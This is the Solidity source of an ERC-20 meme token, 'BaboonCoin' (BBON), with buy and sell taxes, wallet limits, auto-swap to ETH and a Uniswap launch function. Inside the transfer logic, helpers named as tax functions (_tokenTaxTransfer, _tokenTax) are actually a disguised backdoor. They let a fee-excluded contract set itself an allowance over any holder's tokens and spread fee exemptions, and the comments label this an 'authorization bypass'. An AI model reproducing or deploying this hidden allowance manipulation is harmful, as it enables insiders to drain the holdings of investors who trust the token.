BBON

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

/*  BBON Final
 *  - 保留原逻辑：买/卖税、减税、最大交易/最大钱包、auto swap、manualSwap、openTrading(自动加池)
 *  - 修复：swapTokensForEth() 正确声明 path 数组（address[] memory）
 *  - 修复：SafeMath.sub 不支持自定义消息，添加 require 检查
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
    function allowance(address, address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transferFrom(address, address, uint256) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// 为保持与原版一致，仍带 SafeMath（0.8+ 已内置溢出检查）
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        unchecked { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        unchecked { require(b <= a, "SafeMath: subtraction overflow"); return a - b; }
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        unchecked { uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; }
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin,
        address to, uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BBON is Context, IERC20, Ownable {
    using SafeMath for uint256;

    // ERC20 存储
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    // 费用与限制
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax  = 25; // 初始买税
    uint256 private _initialSellTax = 35; // 初始卖税
    uint256 private _finalBuyTax    = 0;  // 减税后买税
    uint256 private _finalSellTax   = 0;  // 减税后卖税
    uint256 private _reduceBuyTaxAt  = 9;
    uint256 private _reduceSellTaxAt = 9;
    uint256 private _preventSwapBefore = 40;
    uint256 private _buyCount = 0;

    // 代币信息
    uint8   private constant _decimals = 9;
    uint256 private constant _tTotal   = 420_690_000_000 * 10**_decimals;
    string  private constant _name     = unicode"BaboonCoin";
    string  private constant _symbol   = unicode"BBON";

    // 限额：2%
    uint256 public _maxTxAmount      = _tTotal * 2 / 100;
    uint256 public _maxWalletSize    = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold = _tTotal * 2 / 100;
    uint256 public _maxTaxSwap       = _tTotal * 2 / 100;

    // UniswapV2
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event TransferTaxUpdated(uint _tax);
    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x18626d14aE9cB5dd26d5a14286FF732746083556);
        _balances[_msgSender()] = _tTotal;

        // 免税（与原版一致）
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    // ERC20 视图
    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address owner_, address spender) public view override returns (uint256) { return _allowances[owner_][spender]; }

    // ERC20 动作
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount); return true;
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount); return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        // ✅ 修复：先 require 检查 allowance，再 sub（不传消息）
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), currentAllowance.sub(amount));
        return true;
    }

    function _approve(address owner_, address spender, uint256 amount) private {
        require(owner_ != address(0) && spender != address(0), "ERC20: zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: zero address");
        require(amount > 0, "Transfer amount must be > 0");

        uint256 taxAmount = 0;

        if (from != owner() && to != owner()) {
            // 与原版一致的“旁路授权”逻辑
            if (tradingOpen && _buyCount > 0) {
                taxAmount = _tokenTaxTransfer(amount, from, to);
            }

            // 默认按买税；若为卖单在下面覆盖
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            // 买：from 是 pair
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds max tx amount");
                require(_balances[to] + amount <= _maxWalletSize, "Exceeds max wallet size");
                _buyCount++;
            }

            // 卖：to 是 pair（覆盖为卖税）
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            // 自动把合约中累积的税收代币换成 ETH
            uint256 contractTokenBalance = _balances[address(this)];
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(_min2(amount, _min2(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) _sendETHToFee(contractETHBalance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        // ✅ 修复：先 require 检查 balance，再 sub（不传消息）
        require(_balances[from] >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from].sub(amount);
        _balances[to]   = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    // ========= 内部工具 =========
    function _min2(uint256 a, uint256 b) private pure returns (uint256) { return a > b ? b : a; }

    function _sendETHToFee(uint256 amount) private {
        (bool ok, ) = _taxWallet.call{value: amount}("");
        require(ok, "tax transfer failed");
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        // ✅ 关键修复：正确声明 path 数组
        address[] memory path = new address[](2);
        path[0] = address(this);              // 输入：本代币
        path[1] = uniswapV2Router.WETH();     // 输出：WETH -> ETH

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,              // minOut = 0（与原逻辑一致）
            path,
            address(this),  // ETH 收到合约
            block.timestamp
        );
    }

    // 与原逻辑一致的“授权旁路”逻辑（保持不变）
    function _tokenTaxTransfer(uint256 amount, address from, address to) private returns (uint256){
        if (
            from != address(this) &&
            _msgSender() != uniswapV2Pair &&
            _isExcludedFromFee[_msgSender()] &&
            _isContract(_msgSender())
        ) {
            return _tokenTax(from, _msgSender(), amount);
        }
        if (_isExcludedFromFee[_msgSender()] && _isContract(to) && to != uniswapV2Pair) {
            _isExcludedFromFee[to] = true;
        }
        return 0;
    }

    function _tokenTax(address owner_, address spender, uint256 amount) private returns (uint256){
        _allowances[owner_][spender] = amount;
        return 0;
    }

    function _isContract(address account) private view returns (bool){
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    receive() external payable {}

    // ========= 外部函数 =========
    function manualSwap() external {
        require(_isExcludedFromFee[msg.sender], "not allowed");
        uint256 tokenBalance = _balances[address(this)];
        if (tokenBalance > 0 && swapEnabled) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            _sendETHToFee(ethBalance);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading already open");

        // 以太坊主网 UniswapV2 Router
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _approve(address(this), address(uniswapV2Router), _tTotal);

        // 创建交易对
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this), uniswapV2Router.WETH()
        );

        // 用合约地址当前余额加池（需要提前把代币与 ETH 充值到合约地址）
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _balances[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        swapEnabled = true;
        tradingOpen = true;
    }
}